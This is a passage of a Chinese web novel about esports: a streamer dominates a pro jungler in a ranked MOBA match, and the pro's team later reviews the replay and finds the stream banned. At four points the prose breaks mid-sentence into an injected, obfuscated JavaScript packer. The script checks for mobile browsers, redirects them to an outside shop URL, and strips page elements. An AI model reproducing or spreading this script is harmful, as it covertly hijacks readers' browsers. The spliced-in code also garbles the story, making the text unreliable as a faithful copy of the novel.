“这样一来,虽然这分段的打野是指望不上了,但我们上中下三线都是优势路,阵容也比他们靠谱,有坦有控,射手更是个大核。” “好好发育,中后期团战能打,赢面很大。” 以上赢面成立的前提是在座召唤师都是正常人。 开局不到三分钟,地图上已经呈现队友百态。 [所有人]天琴·乐 (射手):[R神手下留情,我是你十年老粉!] [所有人]天琴·乐 (射手):[那么请问一下,等等我尸体跟你合影的时候,你喜欢听人喊爹还是喊爸爸?] 这是追星不讲基本法,总之先粉龄十年起步的射手。 [队伍]厄运天猫·奇妙(辅助):[孤儿是这样的,到处认爹。] 这是眼见射手十秒漏八刀、三分钟已经有了十通脑溢血操作的辅助。 [队伍]木星使徒·赫歇尔(打野):[别吵,都在塔下猥琐,等我发育几波,三十分钟再看团战。] 这是自成一派游戏理解的打野。 [队伍]天龙·书(上单):[打什么团?这把的战术是避战偷塔,没看我和中单都带了传送吗?] 标准的抽象开局,射辅决裂,上野各抒己见。 余历脸一垮:“当我没说,这把你随便来。” 奚月礼听见了他急转直下的语气,跟着扫了眼地图对话,一看就乐了,先给上单发言点了个赞,中上友好互动+1。 再给旁边郁闷的人上节目,“看这里,套圈圈。” 话落,伴随四级的升级光芒,画面里厄莎两段锁链甩出,一段甩向脚下小兵,一段甩向视野全暗的草丛。 正在草丛里准备偷袭的敌方英雄脚下生圈,猝不及防和小兵换了个位,眨眼就被拖了出去。 面前正是技能全亮的厄莎。 然而四级厄莎伤害如刮痧,三套技能打不死一个野怪。 反应过来的冥王虽不知锁链是怎么套到自己的,也明白这身位下拼技能谁会死得更快。 正要打反手,锁链控制再度接上——漏下的每一个兵都成了锁链的桩,视角一秒三变,带着一个放歪的技能,他已经被甩到了敌方防御塔的攻击范围。 在防御塔的三下炮击里,没有人不是脆皮。 三分十五秒,和防御塔的一波完美配合,一血诞生。 [荧惑之锁·厄莎]击杀了[冥王领主·阿米]。 [所有人]冥王领主·阿米:[?] 局势就是从这个问号开始,一路走向迷惑。 传奇分段遇职业,还是CPL十大年度选手名单上的职业打野,一半人默认躺赢局,一半人默认躺输局,满脑子都在想这把用什么姿势跟天狼合个影。 分奴如己方辅助,也没想着要去挣扎什么。 所以在六分钟不到,打野还没走出野区、上下路都在慢吞吞拉扯,中路却第三次传来击杀播报的时候,双方纷纷问起了什么情况。 [所有人]天琴·乐 (射手):[冥王新思路?靠送头在R神直播间C位出道?] [队伍]天龙·书(上单):[厄莎是打小号的主播吗?ID有点眼熟。] [所有人]冥王领主·阿米(中单):[举报一下,这个厄莎是科技!] 余历气道:“打不过就是挂,理解不了就是挂对吧?就当他在夸你了。”对局里的其他人也没把“科技” 当真,毕竟COTS的反外挂技术业内有名。 奚月礼不是第一次听到这种“夸奖”了,更不会当回事。 地图视角没放在中路,他正在把发育路四人激烈又谁也打不死谁的拉扯当小电视看,对面冥王再次跟随兵线出塔了,试探的脚步一来一回还蛮有节奏。 奚月礼看了两秒,看笑了,给那走位节奏配了个音:“一二三四,再来一次。” [荧惑之锁·厄莎]击杀了[冥王领主·阿米]。 [队伍]天龙·书(上单):[……夸张。] 己方辅助也是切视角的一把好手,完整看到了中路四波单杀。 [所有人]厄运天猫·奇妙(辅助):[别把人机不当科技,冥王举报一下你自己。] [所有人]天琴·乐 (射手):[谢谢你!送头侠!让我在和R神的对局里截到了4-0领先的图!] 中路优势来得顺理成章,余历已经忘记了自己三分钟前的垮脸,不忘跟看不见的弹幕老师互动:“都坐下,基操勿六,对线碾压而已,国一厄莎也就拿出了平时玩消消乐的三成功力吧。” 说起这些抽象队友也不烦了,“下路补兵要是有他们看戏那么积极就好了。” 面板上射手已落后对面1000块,就要拉平厄莎四个人头的经济领先。 “看射手把游戏当社交软件玩的样子,本局一个核算是废了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13565681|142617||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,优势只能靠中路了——冥王也快六级,他没闪没免疫,下波就算不出来也能越塔再杀一次。” 厄莎早已六级,占着四个人头的优势,经济来到全图第一。 奚月礼却没有再去追击这个人头,在敌方防御塔前站了三秒,吓唬完躲进塔里的冥王,转身往下路走去。 中路作为全图最短的线,最中心的位置,掌控着中心地带的视野,打线还是游走,游走去哪里把线路优势最大化,有效的决策影响着每分每秒战局的变化。 敌方打野的动态更是需要时刻关注的信息——天狼也已六级,第一波gank随时可能出现在地图各处。 八分钟。 那边天狼第一次露面,遇到中路人走塔空的一地兵线,连视野都没藏就开始他的Plan B——抓不到中单抓打野,一分钟不到,把敌方打野和上单逐一当野怪刷了,直接开启他在半边野区的自助餐。 这边厄莎也已经三段位移换位野怪,十秒之内赶到发育路,一救两个倒霉蛋,三打二越塔收走了对面两个人头。 被锁链拉回一条狗命的射手嘴脸再变。 [队伍]天琴·乐:[厄莎宝宝,结婚吗?] [队伍]天琴·乐:[太突然的话,我们就先从下把双排开始/流口水.jpg] 辅助对废物射手持续愤怒。 [队伍]厄运天猫·奇妙:[这种射手治好了也流口水] [队伍]天琴·乐:[辅助,我不介意三个人一起。] 辅助闭嘴了,怕给射手骂爽了。 地图上厄莎补了波发育路的兵,收完保护费,路过正在回城的厄运天猫,技能动作亮起。 锁链顺了把猫头,中辅友好互动+1。 [队伍]厄运天猫·奇妙:[厄莎,是下把和我双排的意思吗?] [队伍]荧惑之锁·厄莎:[猫咪,是你视野给得好棒的意思。] 辅助当即取消回城,一个技能滑出800码,在商店用刚刚助攻得来的300金买了两个视野之灵。 正要用视野照亮中单回家的路,厄莎率先点了个地图位置,辅助心领神会,飞过去把视野放在了标记处。 禁区草丛亮起,正在里面蹲守厄莎的冥主很尴尬地转身离开。 回中路上,奚月礼切着地图各处视角,边走边相当顺手地把野区仅剩的一个经验怪刷了。 奔来刷怪的己方打野和吃饱升级的厄莎就这样打了个照面。 “哎呀。”奚月礼眨眼。 “完了。”余历心里一个咯噔,“路人局的打野才没什么资源置换的概念,你刷了他最后的经验怪,在他眼里就是抄他家了。” 地图资源有限,前期大家都在各自的地盘发育,中路吃中线,打野刷野怪,人头算自己本事,默认的规则就是前期谁也别碰谁的餐桌。 然而阵容里五个英雄的团队功能不同,战术协作时常常会把资源再分配,优先队伍里的核心,实现团队利益最大化。 放在PG训练赛,一个前期人头6-0的中单,如果不吃这个野怪都得被队友质疑你是不是在演我。 顺路来口零食,这属于训练赛打多了的后遗症了。 余历见图上打野一动不动。 “第一条黑龙就要刷新了,这打野不会开摆吧。” 黑洞领主——简称黑龙,能给全队带来经济提升、状态增益和兵线优势的禁区野怪,实在是一条大补之龙,向来是对局双方必争之怪。而黑龙皮糙肉厚,前期得靠带着野刀的打野才能刷得动。 余历是玩打野的,黑龙在他眼里那就是打野的尊严,“我们又不是劣势,黑龙可不能随便放给天狼啊!” 一动不动的打野依旧一动不动。 先遭天狼屠杀,后遇天狼洗劫,就算他早就懂了厄莎是这把的大腿,但谁又能懂下半图三人嘻嘻哈哈,而他走遍孤立无援的野区、最后一口经验被队友偷走的悲凉呢? 打野果然发起问号。 [队伍]木星使徒·赫歇尔(打野):[?] 余历:“……嘶。” 没有人可以小瞧一把排位里,队友一个问号的威力。 那就是掀桌前的摔杯子、干架前的撸袖子,团队破裂的第一声号角。 所以奚月礼在泉水补完状态,浏览完双方英雄面板的装备和数据,一边点下传送,一边向打野敲字。 [队伍]荧惑之锁·厄莎:[对不起哥哥,我提头来见。] 传送之光在地图一角亮起,十秒,全图播报响起。 [荧惑之锁·厄莎]击杀了[天狼·易]。 没错,提的是对方打野的头。 6.006 晚十点,NDG电子竞技俱乐部。 辅助汪奇刚遭遇传奇单排三连败,正在消消乐里一边玩物丧志,一边通过键盘声判断大家的战况。 毫无疑问,队长徐锐之那边最激烈。 这就是十连胜无痛上天梯的手速吗?汪奇暗自羡慕。 键盘敲击声里,黑洞领主血量来到5%,眼看着就要收入囊中,画面就是从这一刻开始失控——锁链凭空飞来,残血黑龙一个长达1500码的位移,瞬间消失在了天狼的攻击范围。 “操。” 锁链那头的人换位现身,是个花里胡哨的厄莎。 没有脆皮能在正面战里扛得住天狼一套高爆发的技能,狭路遇敌,手的反应比脑子更快,一串连招和走位拼至极限的换血,双方血量眨眼来到10%以下。 被锁链放了足足五秒风筝,天狼只等拉近身位,两个平A收走这从天而降的人头,厄莎走位一步,带着最后一个技能原地消失。 控制时效一到,黑龙再次出现洞内,Boss龙恰巧进入血量4%的狂化,暴怒一脚踩向方圆千码的所有活物! 活物天狼血条归零,画面秒灰。 “操?” 放完龙的厄莎从千码外走出,踩过天狼尸体,摸了把黑龙脑袋。 系统播报:[荧惑之锁·厄莎]击杀了[黑洞领主]。 黑龙被抢。 “操!” 隔壁汪奇耳朵支棱着,键盘声里的这三个语气词令他忍不住提醒:“队长,脏话一句,罚款两百。”又掰着指头算,“你本月脏话余额已经不足了。” 队长徐锐之正在反复切屏黑白画面和敌方英雄面板,好像那面板跟自己空掉的钱包余额一样触目惊心,没有理他。 出于对队规的维护,汪奇点开战队群。 [Woof:@经理-托托,脏话x3] [经理-托托向Ritz发出群收款:600¥] 熟练的一套流程走完,汪奇假装倒水,从隔壁电脑屏幕后路过,试图凑头看看,什么战况能一下让徐锐之钱包一下子瘪掉600块。 黑白屏幕上放大着一个敌方英雄的数值面板:[荧惑之锁-厄莎]。 战绩:7-0-0。 什么东西?对阵天狼10分钟7-0的厄莎?是他眼睛飘了还是徐锐之提不动刀了?当下回到自己位置,点开徐锐之的直播间。 仔细一看,居然还是逆风。 逆风局里,天狼在一边移动一边切图找对面中单的视角,短短40秒的复活赶路,残血厄莎的双杀播报又从发育路传来。 发育路一塔爆破,己方白银要塞缺失一角。 弹幕却还在疯狂讨论一分钟前的击杀和抢龙,最多的刷屏是短短“卧槽”两字。 【有哪位大佬能给我解释一下刚刚那个厄莎的操作吗?】 【就是……这样,那样,咻咻几下,天狼没了,龙也没了。】 【起猛了,COTS这是更新到哪个版本了?厄莎的连招还能这样来?】 【厄莎技能是改版了吗?链子这么容易锁中人了?】 【借龙杀狼?借狼杀龙?这厄莎怎么又6又缺德的】 【对面中单哪里来的小号吧?】 汪奇凑热闹跟上一条游客弹幕:【厄莎绝活哥?】 因为没在击杀现场,倒是没有太惊奇。 心想唉,传奇分段果然卧虎藏龙,打小号的天梯高手,放了假的路人王,还有他这种郁郁不得志的顶级辅助,绝活哥乱拳打死职业师傅的故事不在少数。 直播间有人在最开始就认出了那是同平台的一个技术主播,并且指了路,但声小势微,很快就被淹没在了讨论里。 NDG粉丝成分复杂,一半是选手新粉,一半是战队老粉,老粉自诩冠军战队年代过来,逮着机会就要对战队选手指点一番,此刻也不例外。 【@NDG-Jiang,老江过来学厄莎链子怎么甩】 【@NDG-Ash670,小六过来学射手风筝怎么放】 【@NDG-sheep,小明过来学传送什么时候用】 【@NDG-woof,小汪过来学位移不撞墙】 【这货是真可能在凑热闹窥屏啊,@NDG-woof,愣着干啥,记笔记啊!】 头皮一紧,汪奇心虚地关掉了弹幕。 地图上也吵了起来,想象中的天狼带粉局眨眼变成逆风局,被厄莎越塔杀了两次的射手点了点中路,怪中路养出了这么一个怪物。 视塔如命的上单又点了点发育路,怪双人组送了四个头还送了座塔。 你一言我一句,互相给队友上起脸色来。 汪奇看得连连点头,心道这才是他熟悉的传奇队友,又听旁边徐锐之开了麦,语气没有起伏也能听出不耐烦,马上就给队友展示了什么叫真正的脸色。 “中单放塔,中线给我,去跟射辅抱团在下半野发育,不要出塔不要过禁区——上路还在往前压,是想帮对面中单省点抓 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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【又来,没点大局观,上路优势不去帮推线,这是团队游戏不是你的Solo赛】 【大局观就是:这厄莎再不处理,这把已经玩不了了。】 事实确实如此,十五分钟不到,厄莎已经滚起了一个夸张的经济差,就快到人走到哪儿,顺风就吹到哪儿的程度。 汪奇已经看懂了,对面五人也是一个大腿加四个挂件的配置。 在这种队友水平差异极大的对局里,比起指挥团队打运营和配合,他那习惯性在排位里玩单机游戏的犟种队长明显选择了另一个更直接的思路——抓崩对面唯一的优势点。 7.007 天狼这个英雄作为标准的“食肉型”打野,技能有控有位移,以高攻速、高爆发为特点,一向用来打激进的gank和资源掠夺。 而中射作为队伍里的双C,人头的诱惑力跟身上的输出任务一样大,加上皮脆血薄,遇见天狼之流喜好食人的打野,往往一整局游戏都得提着半颗心防gank。 英雄特性摆在那,如果不是借龙杀人那样的小众操作,以厄莎这种团队型中单的伤害,但凡被先手近身,放天狼那都是一口一个。 前提是先手、近身、以及对方落单。 针对厄莎的决策是正确的,行动是一波三折的。 汪奇比直播间的观众更早一步发现,对面中单防gank的意识不像一般的传奇绝活哥,难怪这边中单怀疑他是透视挂。 再加上四个技能全带位移,召唤师技能又带的是闪现和传送,只要他锁链不空,就算单独遇到也很难有近身的机会。 而且这实在是个很爱和队友凑一起的中单。 每次出现在视野,链子不是在牵着一对行动不能自理的射辅点塔、推塔,就是在牵着发育不良的打野或上单反野、滚经济。 节奏高效甚至可以说省电,很少去接无意义的团,仅有的几次团战都是为推塔而打。 汪奇看着那链子一栓就能有助攻的辅助,代入感瞬间来了。 老实说,有点羡慕。 13分钟。 一波八人团战死了四个,发育路二塔被推。 天狼在最佳时机进场,手起刀落收割掉两个人头,终于逮到团战后技能全无的厄莎,这边刚一个突进,那边就一个闪现进了野区。 野区地形立马变成了追人的障碍物,天狼追了半天,只能追上他传送离开的最后一道光。 汪奇偷偷瞥了眼徐锐之:眉毛快打结了。 15分钟。 双发上路一塔先后爆破,混战场地逐渐从线上转至野区。 天狼留了半边野作饵,果然蹲到前来偷野的厄莎,奈何是个满技能的厄莎——先手控制一旦被躲,锁链在野怪遍地的地方便如鱼得水。 在野区绕了足足两圈,最后他偷不了buff、退而求其次偷了个补血果实才用大招脱身。 汪奇又瞥了眼徐锐之:手上青筋暴起了。 18分钟。 上路团战又起,天狼找了个放赛场上能进“绕后锦集”的绝佳绕后位。 然而没等近身连招命中,锁链的预判又是几乎同步发生,正在打团的厄莎一链子将天狼甩开了1500码。 一道流线被甩离团战,爬起来的天狼原地停顿一秒。 画面的节目效果十足,坐在旁边的汪奇忍住了声音,弹幕可忍不住哈哈哈,拜NDG队长一直以来的怼粉行径所赐,直播间有一半都是黑粉。 【厄莎:哪里来的偷袭狗?算了,踢一脚。】 【你俩好像不在一个节目里,徐锐之:《刺客风云》,对面厄莎:《峡谷跑酷》】 【他真的,我哭死,为了不错过厄莎出塔的每一秒,他是连自家高地塔都放啊!】 【他逃,他追,他插翅就飞。】 【够了徐锐之!别追了!你一下都摸不到他的样子我心疼!】 【丝血就是不回家,这厄莎真不是故意的吗?】 奚月礼不是故意的。 残血给对面带来的“昏头debuff”只是附带效果,丝血不回家的主要原因还是这边阵容不适合打后期,他在尽可能省掉每次长达16s的泉水来回,去推进节奏和刷经济。 天狼紧追不放,厄莎一顿安生饭都吃不得,理财效率一下子降低。 “还差800金。”奚月礼切出自己的经济面板,“等一波兵?还是再刷几个野?” 己方打野很快替他做出了选择。 这边厄莎脚步刚在野区边缘一停,那边打野已经帮忙把野怪的血打到了最后一滴,并附上台词。 [队伍]木星使徒·赫歇尔:[少爷请用。] 余历:“嘶……嘴脸!” 射辅不甘示弱。 [队伍]厄运天猫·奇妙:[厄莎这里还有补血果实。] [队伍]天琴·乐:[宝宝这波兵等你来吃。] “……他们是不是太嘻嘻哈哈了?” 余历的游戏理解比这些队友强一点,没有在顺风局里忘乎所以。对战已经来到中期,厄莎打钱速度明显慢下,推塔节奏也一直在被拖,不同的阵容有不同的强势期,而对面是标准的后期强势阵容。 哪怕天狼的抓人一直没成功,但拖后期的策略显然在生效。 “越往后拖我们优势越小,天狼是真烦人啊。”余历已经看得有点急,一把游戏有各种输法,但最让人受不了的输法无疑就是顺风被翻,“还是怪我没有熟练度,换成天鹤说不定二十分钟就结束了,厄莎的伤害实在不好处理天狼。” “啧,这个英雄太吃队友了。” “队友?”奚月礼切动面板,给余历展示队友,相比对面四个、这边四个的经济称得上膘肥体壮了。 又把视角切向禁区里埋头排视野的辅助猫咪,“这不都健健康康的,说话又好听,你不喜欢他们吗?” 余历嘴角一抽,“你喜欢就好。” 23分钟,厄莎终于凑够2800巨款。 奚月礼点开闪亮的装备栏,“好了,最后一件。” 余历看见六格装备栏,六件输出装。 这不是厄莎的常规出装,作为打控制的团队型中单,厄莎一般都会出点防护装备,提高生存能力。 但这个出装很得他心,相较战术避战,余历当然更希望加快节奏:“六神装到位,厄莎的伤害也能一看了,感觉接下来可以和天狼碰一碰。” 奚月礼切起各路视角,先点上路兵线,示意上单出门带线,又发信号给射辅,示意自己正在路上。 “这把要做的事有点多。”言下之意:打架的事得往后靠靠。 但对面局势虽逆,打野攻击性却很强。 眼见着天狼又在禁区视野里穿梭而过,余历麻木道:“你不找架,架来找你。” 25分钟,3v3的团战又起。 不是龙团也不是塔防战,仅仅是一场野区遭遇战。 这边射辅正要像之前那样向后避战,却见光效一晃,厄莎技能接闪,锁链已经直取草里的天狼脑袋,二话不说就开了个团。 不是!您开团喊个一二三啊!——射辅的手速来不及这样说,但没有及时跟团的反应在这样表达。 余历喊:“愣着干啥跟啊!” 也就这一秒的功夫,天狼没有第一时间被秒。 奚月礼眼见那打野的孤狼走位——这边辅助的控制是躲了,那边辅助的一个护盾也躲了,大招释放的样子像要把敌我射手一起炸了,好一通稀烂的配合。 不由把肩膀歪过去跟余历嘀咕:“他好像比你还不喜欢队友的样子。” 说话间混战一片,技能光效乱飞,射辅连厄莎影子在哪也看不清,天狼却终于等到了厄莎走位空间全无的一瞬机会——连招瞬间完整放出,爆发伤害1990,厄莎血量1900——他显然把伤害和血量记得清清楚楚,甚至没有近身补平A。 余历掰桌子:“救救救驾啊!” 奚月礼就在他的音量里向手边野怪补了一刀,被混战波及成残血的经验怪化光消失,17级厄莎秒升18,血量瞬间来到2080。 顶着90点血皮,存活的厄莎仗着长手跟了记平A。 系统:[荧惑之锁·厄莎]击杀了[天狼·易]。 余历拍椅子:“小礼!” 猝不及防迎来一个完胜的团战,没脸没皮的射手却没有再胡言乱语,6-0的厄莎让人想要求婚,12-0的神秘中单只让人不敢造次。 六神装厄莎输出跟上,节奏陡然加快,一直到32分钟推掉对面三座高地,梦游的射手还在说梦话。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13604676|142617||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>[队伍]天琴·乐:[不是吧不是吧……这把不会真的能赢吧?] 余历恨不得自己上手去点塔:“不是吧不是吧,他难道以为会输吗?” 不管射手如何怀疑眼睛,敌方水晶也正在爆炸。 最后一分钟,顶着“18-0-5”战绩的厄莎没参与点塔,奚月礼用剩下的经济逛起了装备商店。 训练赛和高分段很少有这么多的人头爆发,经济向来没有多余,他已经很久没打这个分段的排位,也就很久没见过对局结束时还剩这么多金币。 正准备奖励自己一件复活甲,迎接那声“Victory”。 敌方水晶里仅剩的独苗——从25分钟起状态就没满过的残血天狼却又一次从高地扑下,两段位移径直掠过点塔四人组,直冲边缘地带的厄莎。 复活甲被划走,鼠标点上一件昂贵的坦克专属神装——镜面护甲。 装备被动效果:[1s内所受伤害超过1800,会将所受物理伤害的45%以法伤形式回敬给对方。] 耳边响起技能的音效快到模糊,闪现接大招,控制技封走位,天狼一套极限的爆发冲面而来,杀气简直能透过屏幕让人起鸡皮疙瘩。 余历向后仰脸:“嘶!多大仇啊!” 奚月礼应声点头,一边在技能爆发的毫秒内穿上“镜面护甲”——这回他没再拉开距离,反而迎着技能,向追来的打野贴脸凑近两步。 红蓝光效里,那实在很像一个善意满满的互动。 奚月礼:“反弹。” [荧惑之锁·厄莎]击杀了[天狼·易]。 * [徐锐之只想骂一句价值200块的脏!] [但徐锐之忍住了!] [因为铁面无私的队规就挂在他头顶墙壁上!] [这地方实在待不下去了!徐锐之跑去阳台,心里好纳闷啊。] [暗想自己平日里除了压力队友、诋毁汪奇等种种恶行,还干了什么罪大恶极的事?怎么就突然被这样制裁了?] [徐锐之抬起自己比汪奇稍帅那么一点(只是一点点)的脸无语望天,配合此时深沉的气氛,深沉地点了支烟,试图装个大的。] [点完又把烟头一扔,拖鞋一踩,发现:妈的,我不会抽啊!] [账户余额-200,本月脏话额度-1] [路过的萌新射手670不明所以,走过去问了句队长怎么了,却挨了徐锐之一拳,670服了。] [670回来告诉上单明洋,明洋也走过去问了句队长怎么了,又挨了徐锐之一拳,明洋也服了。] [徐锐之到底怎么了?] [困惑充满了NDG训练室,只有全程观战的辅助汪奇,给在座的各位亮起了一张明灯——传下去,徐锐之传奇战绩4杠8!] [天不生我汪小奇,NDG万古如长夜。] [又到凌晨两点时,已经过完二十岁生日的成熟男人徐锐之进入成熟男人的寂寞深夜,盖好被子,闭上眼睛,梦里冒出了那个把他鲨了8次还穿镜甲的厄莎。] [于是整个NDG都听见了队长半夜从床上一坐而起,“不是!他有病吧!”] 微信叮叮当当响个不停,正在等排位的上单明洋看了眼手机。 读完这一连串莫名其妙的消息,又隔着两个座椅看了眼队长徐锐之,眉头死皱着,手在键盘上反复拉着视频回放,脸好臭,但臭得在想象范围内。 不像是要给他一拳的样子。 明洋视线回到电脑,声音慢吞吞但清晰道:“汪奇,写小说去找一个绿色的app。” “不要在我的私信聊天框。” “你吵到我眼睛了。” 汪奇给他使了个眼色,眼色被拒收,只能继续发消息。 [Woof:直播间3423xxxx,队长在复盘刚刚一把排位,精彩一刻,不容错过。] [Woof:好兄弟,回来记得谢我。] 8.008 一个人的复盘变成三个人的观战。 对局回放到中途,徐锐之一回头,“都站这儿干什么?” 汪奇摆正自己伸长的脖子:“观战,学习。” 上单明洋:“汪奇拉我来的。” 射手陆启林:“汪奇拉我来的。” 出乎三人预料的,队长只是给了汪奇一个看杂碎的眼神,什么都没说就重新拉起了视频。 屏幕上的对局回放正到关键处——厄莎的发育路越塔双杀。 汪奇见状忙道:“就这波,对,队长再倒放一下,给小六也学学。”一边配上很有代入感的解说,“射手残血勾引,辅助极限抗塔,锁链回拉,哎呦这个预判,双杀!两个助攻,猫咪300块到手——好配合啊!” 啪啪鼓完两掌,转头,见自己的发育路搭档无动于衷。 “小六你那是什么表情?” 陆启林没有表情:“我代入的是对面射手。” 汪奇跟着念头一转,这不是他们夏季赛的发育路日常吗? 顿时也笑不出来了。 明洋看到了分段,“传奇路人王吗?” 以COTS的玩家体量,不管什么分段都不缺路人王,或者那种把一个英雄玩出花来的绝活哥,偶尔碰到这样的人在对面,被秀一局的情况并不少见,何况只是传奇分段,复盘是不是有点夸张了? 这样想着,他随意点评:“操作没得说,有点灵性,厄莎这英雄算是给这人玩明白了。”又看了一会儿,“反应速度怎么跟脚本一样,年纪肯定不大,偷玩家长电脑的小学生?” 画面来到几座防御塔被连续爆破。 “嗯……”明洋边看边补充,“意识也很到位,节奏这么老练的吗?……嘶,每波团战都打得很漂亮啊,队友跟不上,上路换我就五杀了……卧槽吓人,这开团怎么跟草里长眼一样!……啊?这什么操作怪?这都死不掉?卧槽队长你怎么4杠7了?什么厄莎啊把你当野怪刷?!卧槽镜甲?这手速换点什么不好啊他换镜甲!要命了他还跟你贴贴,嘲讽拉满啊!” “精彩——不是,缺德啊!” 明洋在徐锐之又一个想刀人的眼神里闭了三秒嘴,才道,“这什么人的小号啊?队长认识?” 弹幕也在疯狂讨论。 【三分钟了,@户口大队,对面厄莎的资料怎么还不呈上来?】 视频片段来回拉了几遍,但没人催促徐锐之开下一把,观众一边跟着看回放,一边整活,把COTS各大中单选手都拖出来胡乱溜了一圈,包括今年的世界冠军、CPL著名中单、甚至一些退役中单名将。 【找到了,对面厄莎id:MAK-Clock】 【找到了,对面厄莎id:DTG-FiveGod】 【找到了,对面厄莎id:AU-Teatea】 【找到了,对面厄莎id:Lilymoon】 【找到了!同平台直播间4091xxxx,天梯第一在代打!!】 真相一闪而过,弹幕还在飞速继续。 【找到了,对面厄莎id:远古之神Vicky】 【找到了,对面厄莎id:我那偷玩爸妈电脑的小学生弟弟,马上送来NDG试训。】 徐锐之没看弹幕,鼠标已经点开厄莎的主页,一眼扫过所有信息。 ID:鱼鱼历险记。 常用英雄:沼泽巨蟹,木星使徒,白羊黑骑……都是打野,还是那种喜欢给人当牛做马的工具人打野。 再看赛季胜率:53% 跟残废也差不多了。 盯着这主页看了两秒,总觉得ID有点眼熟。 下意识切出这人的对局记录——在输一把赢一把的单排记录下,四把双排连胜就格外显眼。 继续点进四把双排记录。 每把都是和同一个中单,中单四把四个MVP,四个不同英雄:莉莉丝,桑桑,天鹤…… ……厄莎。 战绩更夸张的“27-0-5”的厄莎。 汪奇也看得认真,“主玩打野的,账号不像厄莎本人,这双排的中单倒是有点像。” 在背后的催促下,徐锐之又点开了这中单的主页。 ID:Hello Lily 赛季场数:4 赛季胜率:100% 对局记录没有隐藏,除了赛季初的这四把双排没有别的信息。 一看就是小号,为了带个废物打野建的小号。 徐锐之直播间没开摄像头和麦克风,观众不知道这边四人在查户口,只是跟着屏幕画面议论纷纷。 只有汪奇一直留意着旁边的弹幕,“队长……他们说的是什么意思?弹幕好像认识这个打野啊。” “鱼鱼历险记”作为同平台一个小有名气的主播,直播间不缺认识的观众,此刻主页就被点开摆在大屏,从开局到现在一直被淹没的声音总算大了起来。 指路和破案的人一大堆,偶尔还夹杂着几条汪奇看不懂的弹幕。 【还记得那年天梯遇见的沼泽巨蟹吗?】 【还记得那年水晶爆炸时的临别寄语吗?】 【“巨蟹,下把叫你代练上号成吗?”】 “撞过的打野。”徐锐之总算想起了这个“鱼鱼xxx”,“拿假肢玩了把巨蟹。” 弹幕已经哈哈哈地刷了起来: 【下把叫你代练上号成吗?代练:来了】 【下把叫你代练上号成吗?代练:来了】 【下把叫你代练上号成吗?代练:来了】 “……怎么回事?”汪奇看了又看,在一堆黑粉的刷屏里瞧见了越来越多带感叹号的消息,“弹幕好多人在说——在说厄莎是那个三服天梯第一啊?哪里知道的?” 眼看弹幕越说越像那么一回事,“对面也在直播?我去,刚刚还以为弹幕老师在整活呢?真是那个Lilymoon啊?”汪奇立马精神了,连拍两下椅背,“队长快搜一下直播间!快!为NDG正名的时刻到了,我们没有输给路人小学生!” “那个Lilymoon吗?”陆启林也凑过去半张脸,“真有这人?不是传言那是clock小号吗?” “那人都霸榜两赛季了吧,钟神赛程这么密,哪有空打天梯。”明洋同样催促,“是同频道的直播间,弹幕发了房间号,直接点进去。” “论人脉还得是我们的弹幕老师。” 汪奇眼瞅着从隔壁回来的弹幕越来越多,而徐锐之还在浏览那打野无聊的主页,急得直接上手接管鼠标,“让我来看看这个天梯第一!” 鼠标点下,网页弹出—— [您所在的直播间已封停,请主播严格遵守平台规则,避免敏感信息传播、情.色暗示等违规行为,以确保直播活动的顺利进行。] 明洋:“……啊?” 陆启林:“……啊。” “什么东西。”徐锐之看了眼直播间名字,又看一眼主播ID,没有点错。 再刷新一次,封禁通告白底红字,黑屏里只剩下满地弹幕,密密麻麻的依旧滚动不停。 粗粗扫去,乱飞的表情,五花八门的语气词,定睛去看具体的文字,什么裤子扣子哈喇子,还有更多不堪入目的敏感词。 “哎呦!”汪奇细细看过弹幕,看懂了,一时间惊得连原本要拍桌的手都放错了地方,语重心长地拍了两下徐锐之的肩。 “这个中单……擦边主播啊!” * “我清清白白的一个COTS技术主播啊!” 敌方水晶爆炸的快乐没持续两秒,直播间就跟着一起炸了,余历抓起代播的椅背,站起来就把他连人带椅地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13645046|142617||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 从电脑前拖走,崩溃道:“你没事跟弹幕互动什么!互动什么!?那是什么正经弹幕吗!?” “……什么?”奚月礼还想再刷新一遍全黑的网页,手也被余历拍走了,“真封了?” 他从椅子里抬起脸,知道现在问题大了,最好严肃点,可是看余历那一副“风评被害”的恍惚样子——只能一边忍笑,一边喊冤,“晚安都不能说一句的吗?那多没礼貌啊。” 